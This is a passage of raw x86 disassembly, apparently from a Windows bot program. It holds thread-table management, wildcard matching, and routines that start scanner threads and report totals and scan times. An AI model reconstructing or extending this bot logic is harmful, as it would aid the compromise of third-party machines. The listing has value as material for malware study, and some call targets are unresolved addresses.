CODE XREF: sub_40B231+33j mov [edi], ebx lea edi, dword_43DEB8[esi] mov dword_43DEB0[esi], ebx mov dword_43DEB4[esi], ebx mov eax, [edi] cmp eax, ebx jbe short loc_40B28A push eax call sub_4199C9 pop ecx loc_40B28A: ; CODE XREF: sub_40B231+50j mov [edi], ebx lea edi, dword_43DEBC[esi] mov byte ptr dword_43DCB0[esi], bl mov byte_43DEC8[esi], bl push dword ptr [edi] call dword_4CB00C lea esi, dword_43DEC0[esi] mov [edi], ebx push dword ptr [esi] call dword_4CB00C mov [esi], ebx pop edi loc_40B2B9: ; CODE XREF: sub_40B231+Dj ; sub_40B231+15j mov eax, ebp pop esi pop ebp pop ebx retn sub_40B231 endp ; =============== S U B R O U T I N E ======================================= sub_40B2BF proc near ; CODE XREF: sub_40111D+18p ; ___:loc_4017D9p ... push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_43DCB0 loc_40B2CB: ; CODE XREF: sub_40B2BF+2Aj cmp byte ptr [esi], 0 jz short loc_40B2DC push edi call sub_40B231 test eax, eax pop ecx jz short loc_40B2DC inc ebx loc_40B2DC: ; CODE XREF: sub_40B2BF+Fj ; sub_40B2BF+1Aj add esi, 234h inc edi cmp esi, offset dword_4CACB0 jl short loc_40B2CB pop edi mov eax, ebx pop esi pop ebx retn sub_40B2BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B2F1 proc near ; CODE XREF: sub_401ACD+418Ep ; sub_401ACD+42E0p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_43DEB4 loc_40B305: ; CODE XREF: sub_40B2F1+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_40B327 test edi, edi jle short loc_40B319 cmp [esi], edi jz short loc_40B319 cmp ebx, edi jnz short loc_40B327 loc_40B319: ; CODE XREF: sub_40B2F1+1Ej ; sub_40B2F1+22j push ebx call sub_40B231 test eax, eax pop ecx jz short loc_40B327 inc [ebp+var_4] loc_40B327: ; CODE XREF: sub_40B2F1+1Aj ; sub_40B2F1+26j ... add esi, 234h inc ebx cmp esi, offset dword_4CAEB4 jl short loc_40B305 mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_40B2F1 endp ; =============== S U B R O U T I N E ======================================= sub_40B33E proc near ; CODE XREF: ___:00401630p ; sub_401ACD+97Ap ... arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_43DEB0 loc_40B345: ; CODE XREF: sub_40B33E+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_40B34E inc eax loc_40B34E: ; CODE XREF: sub_40B33E+Dj add ecx, 234h cmp ecx, offset dword_4CAEB0 jl short loc_40B345 retn sub_40B33E endp ; =============== S U B R O U T I N E ======================================= sub_40B35D proc near ; CODE XREF: sub_401ACD+2433p arg_0 = dword ptr 4 xor eax, eax push esi xor edx, edx mov ecx, offset dword_43DEB0 loc_40B367: ; CODE XREF: sub_40B35D+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_40B380 add ecx, 234h inc edx cmp ecx, offset dword_4CAEB0 jl short loc_40B367 pop esi retn ; --------------------------------------------------------------------------- loc_40B380: ; CODE XREF: sub_40B35D+10j mov eax, edx pop esi retn sub_40B35D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B384 proc near ; CODE XREF: sub_401ACD+1066p ; sub_401ACD+126Cp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 200h xor eax, eax cmp [ebp+arg_1C], eax jz short loc_40B39D push [ebp+arg_1C] call sub_41B779 pop ecx loc_40B39D: ; CODE XREF: sub_40B384+Ej push eax push [ebp+arg_18] call sub_40B2F1 pop ecx test eax, eax pop ecx jle short loc_40B3C9 push eax lea eax, [ebp+var_200] push [ebp+arg_14] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s %s stopped. (%d thread(s) stopped.)" push eax call sub_41B886 add esp, 14h jmp short loc_40B3E3 ; --------------------------------------------------------------------------- loc_40B3C9: ; CODE XREF: sub_40B384+26j push [ebp+arg_14] lea eax, [ebp+var_200] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s No %s thread found." push eax call sub_41B886 add esp, 10h loc_40B3E3: ; CODE XREF: sub_40B384+43j cmp [ebp+arg_C], 0 jnz short loc_40B403 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_40B403: ; CODE XREF: sub_40B384+63j lea eax, [ebp+var_200] push eax call sub_4151AC pop ecx leave retn sub_40B384 endp ; =============== S U B R O U T I N E ======================================= sub_40B412 proc near ; CODE XREF: sub_4017ED+159p ; ___:0040BA47p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx imul eax, 234h mov dword_43DEC4[eax], ecx mov dword_43DEB0[eax], ecx mov dword_43DEB4[eax], ecx mov dword_43DEB8[eax], ecx mov dword_43DEBC[eax], ecx mov dword_43DEC0[eax], ecx mov byte ptr dword_43DCB0[eax], cl mov byte_43DEC8[eax], cl retn sub_40B412 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B44F proc near ; CODE XREF: sub_401ACD+7E3Bp ; sub_40B57D+6Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push 1 pop eax loc_40B459: ; CODE XREF: sub_40B44F+68j mov cl, [esi] test cl, cl jz short loc_40B4B9 cmp eax, 1 jnz short loc_40B4B9 mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_40B4B9 cmp cl, 2Ah jz short loc_40B4A0 cmp cl, 3Fh jz short loc_40B483 cmp cl, 5Bh jz short loc_40B488 xor eax, eax cmp cl, dl setz al loc_40B483: ; CODE XREF: sub_40B44F+26j inc [ebp+arg_4] jmp short loc_40B4B3 ; --------------------------------------------------------------------------- loc_40B488: ; CODE XREF: sub_40B44F+2Bj lea eax, [ebp+arg_4] inc esi push eax lea eax, [ebp+arg_0] push eax mov [ebp+arg_0], esi call sub_40B4E5 mov esi, [ebp+arg_0] pop ecx pop ecx jmp short loc_40B4B3 ; --------------------------------------------------------------------------- loc_40B4A0: ; CODE XREF: sub_40B44F+21j lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_40B57D mov esi, [ebp+arg_0] pop ecx pop ecx dec esi loc_40B4B3: ; CODE XREF: sub_40B44F+37j ; sub_40B44F+4Fj inc esi mov [ebp+arg_0], esi jmp short loc_40B459 ; --------------------------------------------------------------------------- loc_40B4B9: ; CODE XREF: sub_40B44F+Ej ; sub_40B44F+13j ... cmp byte ptr [esi], 2Ah jnz short loc_40B4C9 cmp eax, 1 jnz short loc_40B4E0 inc esi mov [ebp+arg_0], esi jmp short loc_40B4B9 ; --------------------------------------------------------------------------- loc_40B4C9: ; CODE XREF: sub_40B44F+6Dj cmp eax, 1 jnz short loc_40B4E0 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_40B4E0 cmp byte ptr [esi], 0 jnz short loc_40B4E0 push 1 pop eax jmp short loc_40B4E2 ; --------------------------------------------------------------------------- loc_40B4E0: ; CODE XREF: sub_40B44F+72j ; sub_40B44F+7Dj ... xor eax, eax loc_40B4E2: ; CODE XREF: sub_40B44F+8Fj pop esi pop ebp retn sub_40B44F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B4E5 proc near ; CODE XREF: sub_40B44F+45p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov edx, [ebp+arg_0] push edi xor edi, edi push 1 mov ecx, [edx] and [ebp+var_8], edi pop eax cmp byte ptr [ecx], 21h mov [ebp+var_4], eax jnz short loc_40B506 inc ecx mov [ebp+var_8], eax mov [edx], ecx loc_40B506: ; CODE XREF: sub_40B4E5+19j push ebx push esi loc_40B508: ; CODE XREF: sub_40B4E5+7Bj mov ecx, [edx] mov bl, [ecx] cmp bl, 5Dh jnz short loc_40B516 cmp [ebp+var_4], eax jnz short loc_40B562 loc_40B516: ; CODE XREF: sub_40B4E5+2Aj test edi, edi jnz short loc_40B557 cmp bl, 2Dh jnz short loc_40B54B mov al, [ecx+1] lea esi, [ecx+1] mov cl, [ecx-1] cmp cl, al jge short loc_40B54B cmp al, 5Dh jz short loc_40B54B cmp [ebp+var_4], edi jnz short loc_40B54B mov ebx, [ebp+arg_4] mov ebx, [ebx] mov bl, [ebx] cmp bl, cl jl short loc_40B557 cmp bl, al jg short loc_40B557 push 1 mov [edx], esi pop edi jmp short loc_40B557 ; --------------------------------------------------------------------------- loc_40B54B: ; CODE XREF: sub_40B4E5+38j ; sub_40B4E5+45j ... mov eax, [ebp+arg_4] mov eax, [eax] cmp bl, [eax] jnz short loc_40B557 push 1 pop edi loc_40B557: ; CODE XREF: sub_40B4E5+33j ; sub_40B4E5+59j ... inc dword ptr [edx] and [ebp+var_4], 0 push 1 pop eax jmp short loc_40B508 ; --------------------------------------------------------------------------- loc_40B562: ; CODE XREF: sub_40B4E5+2Fj cmp [ebp+var_8], eax pop esi pop ebx jnz short loc_40B56F mov ecx, eax sub ecx, edi mov edi, ecx loc_40B56F: ; CODE XREF: sub_40B4E5+82j cmp edi, eax jnz short loc_40B578 mov eax, [ebp+arg_4] inc dword ptr [eax] loc_40B578: ; CODE XREF: sub_40B4E5+8Cj mov eax, edi pop edi leave retn sub_40B4E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B57D proc near ; CODE XREF: sub_40B44F+59p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_4] mov [ebp+var_4], 1 inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] xor ebx, ebx loc_40B599: ; CODE XREF: sub_40B57D+3Aj cmp [eax], bl jz short loc_40B5B9 mov cl, [ecx] cmp cl, 3Fh jz short loc_40B5AE cmp cl, 2Ah jnz short loc_40B5B9 cmp cl, 3Fh jnz short loc_40B5B1 loc_40B5AE: ; CODE XREF: sub_40B57D+25j inc eax mov [edi], eax loc_40B5B1: ; CODE XREF: sub_40B57D+2Fj inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] jmp short loc_40B599 ; --------------------------------------------------------------------------- loc_40B5B9: ; CODE XREF: sub_40B57D+1Ej ; sub_40B57D+2Aj ... mov eax, [esi] cmp byte ptr [eax], 2Ah jnz short loc_40B5C4 inc dword ptr [esi] jmp short loc_40B5B9 ; --------------------------------------------------------------------------- loc_40B5C4: ; CODE XREF: sub_40B57D+41j mov eax, [edi] mov cl, [eax] cmp cl, bl jnz short loc_40B5E5 mov edx, [esi] cmp [edx], bl jz short loc_40B5D6 xor eax, eax jmp short loc_40B645 ; --------------------------------------------------------------------------- loc_40B5D6: ; CODE XREF: sub_40B57D+53j cmp cl, bl jnz short loc_40B5E5 mov ecx, [esi] cmp [ecx], bl jnz short loc_40B5E5 push 1 pop eax jmp short loc_40B645 ; --------------------------------------------------------------------------- loc_40B5E5: ; CODE XREF: sub_40B57D+4Dj ; sub_40B57D+5Bj ... push eax push dword ptr [esi] call sub_40B44F pop ecx test eax, eax pop ecx jnz short loc_40B62F loc_40B5F3: ; CODE XREF: sub_40B57D+B0j inc dword ptr [edi] mov eax, [edi] loc_40B5F7: ; CODE XREF: sub_40B57D+90j mov ecx, [esi] mov dl, [eax] mov cl, [ecx] cmp cl, dl jz short loc_40B60F cmp cl, 5Bh jz short loc_40B60F cmp dl, bl jz short loc_40B60F inc eax mov [edi], eax jmp short loc_40B5F7 ; --------------------------------------------------------------------------- loc_40B60F: ; CODE XREF: sub_40B57D+82j ; sub_40B57D+87j ... mov eax, [edi] cmp [eax], bl jz short loc_40B626 push eax push dword ptr [esi] call sub_40B44F neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40B62B ; --------------------------------------------------------------------------- loc_40B626: ; CODE XREF: sub_40B57D+96j mov [ebp+var_4], ebx xor eax, eax loc_40B62B: ; CODE XREF: sub_40B57D+A7j cmp eax, ebx jnz short loc_40B5F3 loc_40B62F: ; CODE XREF: sub_40B57D+74j mov eax, [edi] cmp [eax], bl jnz short loc_40B642 mov eax, [esi] cmp [eax], bl jnz short loc_40B642 mov [ebp+var_4], 1 loc_40B642: ; CODE XREF: sub_40B57D+B6j ; sub_40B57D+BCj mov eax, [ebp+var_4] loc_40B645: ; CODE XREF: sub_40B57D+57j ; sub_40B57D+66j pop edi pop esi pop ebx leave retn sub_40B57D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B64A proc near ; CODE XREF: sub_401ACD+2AF5p var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 400h push ebx push edi lea eax, [ebp+var_200] push offset unk_4317A4 push eax xor ebx, ebx call sub_41B886 cmp dword_431408, ebx pop ecx pop ecx mov edi, 200h jz short loc_40B6BC push esi mov esi, offset dword_431410 loc_40B67D: ; CODE XREF: sub_40B64A+6Fj mov eax, [esi] test eax, eax jbe short loc_40B6B2 add ebx, eax push eax lea eax, [esi-26h] push eax lea eax, [ebp+var_400] push offset dword_431798 push eax call sub_41B886 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_41C1E0 add esp, 1Ch loc_40B6B2: ; CODE XREF: sub_40B64A+37j add esi, 40h cmp dword ptr [esi-8], 0 jnz short loc_40B67D pop esi loc_40B6BC: ; CODE XREF: sub_40B64A+2Bj push dword_4CACB4 call sub_41A88B pop ecx push eax push ebx lea eax, [ebp+var_400] push offset aTotalDInS_ ; " Total: %d in %s." push eax call sub_41B886 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_41C1E0 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_200] push eax call sub_4151AC add esp, 34h pop edi pop ebx leave retn sub_40B64A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B719 proc near ; CODE XREF: sub_401ACD+2ADFp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h mov eax, dword_4CDA80 mov ecx, dword_4CDA7C push esi push dword_4CACB4 lea esi, [ecx+eax] call sub_41A88B pop ecx push eax push esi push dword_4CDA80 lea eax, [ebp+var_200] push dword_4CDA7C push offset unk_4317C4 push eax call sub_41B886 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_200] push eax call sub_4151AC add esp, 30h pop esi leave retn sub_40B719 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B785 proc near ; CODE XREF: sub_401ACD+2AC9p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push dword_4CACB4 call sub_41A88B pop ecx push eax lea eax, [ebp+var_200] push dword_4CDCC4 push offset unk_43180C push eax call sub_41B886 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_200] push eax call sub_4151AC add esp, 28h leave retn sub_40B785 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B7DA proc near ; CODE XREF: sub_401ACD+2AB3p var_1000 = byte ptr -1000h var_800 = byte ptr -800h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, 1000h call sub_41BB20 push edi lea eax, [ebp+var_800] push offset dword_431858 push eax call sub_41B886 cmp dword_431408, 0 pop ecx pop ecx mov edi, 800h jz short loc_40B846 push esi mov esi, offset aSymantec ; "Symantec" loc_40B80F: ; CODE XREF: sub_40B7DA+69j lea eax, [esi-0Ah] push eax push esi lea eax, [ebp+var_1000] push offset dword_431848 push eax call sub_41B886 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_41C1E0 add esi, 40h add esp, 1Ch cmp dword ptr [esi+1Eh], 0 jnz short loc_40B80F pop esi loc_40B846: ; CODE XREF: sub_40B7DA+2Dj push dword_4CACB4 call sub_41A88B pop ecx push eax lea eax, [ebp+var_1000] push offset aScanTimeS_ ; " Scan Time: %s." push eax call sub_41B886 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_41C1E0 push 0 lea eax, [ebp+var_800] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_800] push eax call sub_4151AC add esp, 30h pop edi leave retn sub_40B7DA endp ; --------------------------------------------------------------------------- byte_40B8A1 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+30E0o ; --------------------------------------------------------------------------- sub esp, 3F0h mov eax, [ebp+8] push ebx push esi push edi push 4Bh mov esi, eax pop ecx lea edi, [ebp-134h] rep movsd mov dword ptr [eax+128h], 1 lea eax, [ebp-134h] push eax call dword_4CAFB4 xor edi, edi mov [ebp-8], eax cmp dword_431408, edi mov [ebp-4], edi mov [ebp+8], edi jz loc_40BA03 mov ebx, offset dword_431408 mov eax, ebx loc_40B8F2: ; CODE XREF: ___:0040B9FDj push dword ptr [ebp-1Ch] push dword ptr [eax] push dword ptr [ebp-8] call sub_40C087 add esp, 0Ch cmp eax, 1 jnz loc_40B9F3 push dword ptr [ebx] lea esi, [ebx-28h] lea eax, [ebp-134h] push eax lea eax, [esi+0Ah] push eax lea eax, [ebp-3F0h] push offset unk_4318A8 push eax call sub_41B886 push edi lea eax, [ebp-3F0h] push dword ptr [ebp-14h] push eax lea eax, [ebp-124h] push eax push dword ptr [ebp-24h] call sub_409A72 lea eax, [ebp-3F0h] push eax call sub_4151AC add esp, 2Ch lea eax, [ebp-134h] push eax lea eax, [ebp-1ECh] push eax call sub_41B886 pop ecx lea eax, [ebp-15Ch] pop ecx push esi push eax call sub_41B886 cmp byte ptr [ebp-0A4h], 0 pop ecx pop ecx lea eax, [ebp-0A4h] jnz short loc_40B98E lea eax, [ebp-124h] loc_40B98E: ; CODE XREF: ___:0040B986j push eax lea eax, [ebp-1DCh] push eax call sub_41B886 mov eax, [ebp-24h] pop ecx mov [ebp-1F0h], eax mov eax, [ebp-14h] mov [ebp-140h], eax mov eax, [ebp-10h] pop ecx mov [ebp-13Ch], eax mov eax, [ebx] sub esp, 0BCh mov [ebp-150h], eax mov eax, [ebp-18h] push 2Fh mov [ebp-14Ch], eax mov eax, [ebp+8] pop ecx lea esi, [ebp-1F0h] mov edi, esp mov [ebp-148h], eax rep movsd call dword ptr [ebx+4] add esp, 0BCh inc dword ptr [ebp-4] xor edi, edi loc_40B9F3: ; CODE XREF: ___:0040B905j inc dword ptr [ebp+8] add ebx, 40h mov eax, ebx cmp [ebx], edi jnz loc_40B8F2 loc_40BA03: ; CODE XREF: ___:0040B8E5j push dword ptr [ebp-4] lea eax, [ebp-134h] push eax lea eax, [ebp-3F0h] push offset unk_431874 push eax call sub_41B886 push edi lea eax, [ebp-3F0h] push dword ptr [ebp-14h] push eax lea eax, [ebp-124h] push eax push dword ptr [ebp-24h] call sub_409A72 lea eax, [ebp-3F0h] push eax call sub_4151AC push dword ptr [ebp-18h] call sub_40B412 add esp, 2Ch push edi ; --------------------------------------------------------------------------- dd 2C45ABE8h db 2, 90h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BA56 proc near ; CODE XREF: sub_401ACD+244Ep var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push 0Bh call sub_40B33E test eax, eax pop ecx jle short loc_40BA92 mov eax, [ebp+arg_C] push dword_4CB0C0[eax*8] call dword_4CB000 push eax lea eax, [ebp+var_200] push offset unk_4318F8 push eax call sub_41B886 add esp, 0Ch jmp short loc_40BAA5 ; --------------------------------------------------------------------------- loc_40BA92: ; CODE XREF: sub_40BA56+13j lea eax, [ebp+var_200] push offset unk_4318D8 push eax call sub_41B886 pop ecx pop ecx loc_40BAA5: ; CODE XREF: sub_40BA56+3Aj push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_200] push eax call sub_4151AC add esp, 18h leave retn sub_40BA56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BACD proc near ; CODE XREF: sub_40C124+267p var_210 = dword ptr -210h var_204 = byte ptr -204h var_4 = byte ptr -4 arg_10 = byte ptr 18h arg_90 = byte ptr 98h arg_110 = dword ptr 118h arg_130 = dword ptr 138h arg_138 = dword ptr 140h arg_13C = dword ptr 144h push ebp mov ebp, esp sub esp, 204h mov eax, [ebp+arg_130] push ebx cmp eax, 0FFFFFFFFh push esi jz loc_40BF9F shl eax, 6 xor ebx, ebx cmp dword_431414[eax], ebx jz loc_40BF9F push 5 call sub_40B33E test eax, eax pop ecx jnz loc_40BD54 mov eax, dword_429078 push edi mov esi, offset dword_4CD17C push 104h push esi push ebx mov dword_4CD38C, eax mov dword_4CD388, ebx call near ptr 2660000h nop mov edi, offset byte_429108 push 103h push edi push offset dword_4CD280 call sub_41B5F0 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4CD178, eax mov eax, [ebp+arg_138] push 7Fh mov dword_4CD410, eax jnz short loc_40BB80 lea eax, [ebp+arg_10] push eax push offset dword_4CD390 call sub_41B5F0 add esp, 0Ch mov dword_4CD414, 1 jmp short loc_40BB9A ; --------------------------------------------------------------------------- loc_40BB80: ; CODE XREF: sub_40BACD+94j lea eax, [ebp+arg_90] push eax push offset dword_4CD390 call sub_41B5F0 add esp, 0Ch mov dword_4CD414, ebx loc_40BB9A: ; CODE XREF: sub_40BACD+B1j push esi lea eax, [ebp+var_204] push dword_4CD38C push offset unk_42BE5C push eax call sub_41B886 push ebx lea eax, [ebp+var_204] push 5 push eax call sub_40B0F6 add esp, 1Ch mov dword_4CD384, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CD178 push offset word_411796 push ebx push ebx nop call near ptr 2670659h mov ecx, dword_4CD384 imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40BC08 loc_40BBF6: ; CODE XREF: sub_40BACD+139j cmp dword_4CD418, ebx jnz short loc_40BC23 push 32h call near ptr 26705B3h nop jmp short loc_40BBF6 ; --------------------------------------------------------------------------- loc_40BC08: ; CODE XREF: sub_40BACD+127j call near ptr 2680000h nop push eax lea eax, [ebp+var_204] push offset unk_431A18 push eax call sub_41B886 add esp, 0Ch loc_40BC23: ; CODE XREF: sub_40BACD+12Fj lea eax, [ebp+var_204] push eax call sub_4151AC mov eax, dword_4CACB0 mov esi, offset dword_4CD424 mov [esp+210h+var_210], 104h push esi push ebx mov dword_4CD634, eax mov dword_4CD630, ebx nop call near ptr 2660000h push 103h push edi push offset dword_4CD528 call sub_41B5F0 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4CD420, eax mov eax, [ebp+arg_138] pop edi mov dword_4CD6B8, eax push 7Fh jnz short loc_40BCA4 lea eax, [ebp+arg_10] push eax push offset dword_4CD638 call sub_41B5F0 add esp, 0Ch mov dword_4CD6BC, 1 jmp short loc_40BCBE ; --------------------------------------------------------------------------- loc_40BCA4: ; CODE XREF: sub_40BACD+1B8j lea eax, [ebp+arg_90] push eax push offset dword_4CD638 call sub_41B5F0 add esp, 0Ch mov dword_4CD6BC, ebx loc_40BCBE: ; CODE XREF: sub_40BACD+1D5j push esi lea eax, [ebp+var_204] push dword_4CD634 push offset unk_4319E4 push eax call sub_41B886 push ebx lea eax, [ebp+var_204] push 4 push eax call sub_40B0F6 add esp, 1Ch mov dword_4CD62C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CD420 push offset byte_40E991 push ebx push ebx call near ptr 2670659h nop mov ecx, dword_4CD62C imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40BD2C loc_40BD1A: ; CODE XREF: sub_40BACD+25Dj cmp dword_4CD6C0, ebx jnz short loc_40BD47 push 32h nop call near ptr 26705B3h jmp short loc_40BD1A ; --------------------------------------------------------------------------- loc_40BD2C: ; CODE XREF: sub_40BACD+24Bj nop call near ptr 2680000h push eax lea eax, [ebp+var_204] push offset unk_4319B0 push eax call sub_41B886 add esp, 0Ch loc_40BD47: ; CODE XREF: sub_40BACD+253j lea eax, [ebp+var_204] push eax call sub_4151AC pop ecx loc_40BD54: ; CODE XREF: sub_40BACD+35j mov eax, [ebp+arg_130] mov ecx, eax shl ecx, 6 cmp dword_43141C[ecx], ebx jz loc_40BE7D push 7 call sub_40B33E test eax, eax pop ecx jnz loc_40BE77 mov eax, dword_4CDCBC cmp [ebp+arg_90], bl mov dword_4CD0E4, eax mov eax, [ebp+arg_110] mov dword_4CD0D8, eax mov eax, [ebp+arg_138] mov dword_4CD0E0, ebx mov dword_4CD168, eax push 7Fh jnz short loc_40BDC8 lea eax, [ebp+arg_10] push eax push offset dword_4CD0E8 call sub_41B5F0 add esp, 0Ch mov dword_4CD16C, 1 jmp short loc_40BDE2 ; --------------------------------------------------------------------------- loc_40BDC8: ; CODE XREF: sub_40BACD+2DCj lea eax, [ebp+arg_90] push eax push offset dword_4CD0E8 call sub_41B5F0 add esp, 0Ch mov dword_4CD16C, ebx loc_40BDE2: ; CODE XREF: sub_40BACD+2F9j push dword_4CD0E4 lea eax, [ebp+var_204] push offset unk_431980 push eax call sub_41B886 push ebx lea eax, [ebp+var_204] push 7 push eax call sub_40B0F6 add esp, 18h mov dword_4CD0DC, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CD0D8 push offset byte_40E6EF push ebx push ebx call near ptr 2670659h nop mov ecx, dword_4CD0DC imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40BE4F loc_40BE3D: ; CODE XREF: sub_40BACD+380j cmp dword_4CD170, ebx jnz short loc_40BE6A push 32h call near ptr 26705B3h nop jmp short loc_40BE3D ; --------------------------------------------------------------------------- loc_40BE4F: ; CODE XREF: sub_40BACD+36Ej nop call near ptr 2680000h push eax lea eax, [ebp+var_204] push offset unk_431948 push eax call sub_41B886 add esp, 0Ch loc_40BE6A: ; CODE XREF: sub_40BACD+376j lea eax, [ebp+var_204] push eax call sub_4151AC pop ecx loc_40BE77: ; CODE XREF: sub_40BACD+2A8j mov eax, [ebp+arg_130] loc_40BE7D: ; CODE XREF: sub_40BACD+298j shl eax, 6 cmp dword_431418[eax], ebx jz loc_40BF9F push 3 call sub_40B33E test eax, eax pop ecx jnz loc_40BF9F mov esi, offset dword_4CD954 push 104h push esi push ebx nop call near ptr 2660000h push 5Ch push esi call sub_41BE40 pop ecx cmp eax, ebx pop ecx jz short loc_40BEBE mov [eax], bl loc_40BEBE: ; CODE XREF: sub_40BACD+3EDj mov eax, dword_42907C mov dword_4CDA6C, ebx mov dword_4CDA58, eax lea eax, [ebp+arg_10] push eax push offset dword_4CD6CC call sub_41B886 mov eax, [ebp+arg_110] pop ecx pop ecx mov dword_4CD6C8, eax mov ecx, [ebp+arg_138] push esi push dword_4CDA58 mov dword_4CDA64, ecx mov ecx, [ebp+arg_13C] push eax mov dword_4CDA68, ecx call sub_40AC0F pop ecx push eax lea eax, [ebp+var_204] push offset unk_42BDE4 push eax call sub_41B886 push ebx lea eax, [ebp+var_204] push 3 push eax call sub_40B0F6 add esp, 20h mov dword_4CDA60, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CD6C8 push offset sub_40F0D5 push ebx push ebx call near ptr 2670659h nop mov ecx, dword_4CDA60 imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40BF77 loc_40BF65: ; CODE XREF: sub_40BACD+4A8j cmp dword_4CDA74, ebx jnz short loc_40BF92 push 32h nop call near ptr 26705B3h jmp short loc_40BF65 ; --------------------------------------------------------------------------- loc_40BF77: ; CODE XREF: sub_40BACD+496j call near ptr 2680000h nop push eax lea eax, [ebp+var_204] push offset unk_431914 push eax call sub_41B886 add esp, 0Ch loc_40BF92: ; CODE XREF: sub_40BACD+49Ej lea eax, [ebp+var_204] push eax call sub_4151AC pop ecx loc_40BF9F: ; CODE XREF: sub_40BACD+14j ; sub_40BACD+25j ... pop esi pop ebx leave retn sub_40BACD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BFA3 proc near ; CODE XREF: sub_40C124:loc_40C195p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi push 4 lea esi, ds:4CB0C0h[eax*8] lea eax, [ebp+arg_0] push esi push eax call sub_41C310 add esp, 0Ch push [ebp+arg_0] call dword_4CAE9C inc eax push eax mov [ebp+arg_0], eax call dword_4CAF70 mov 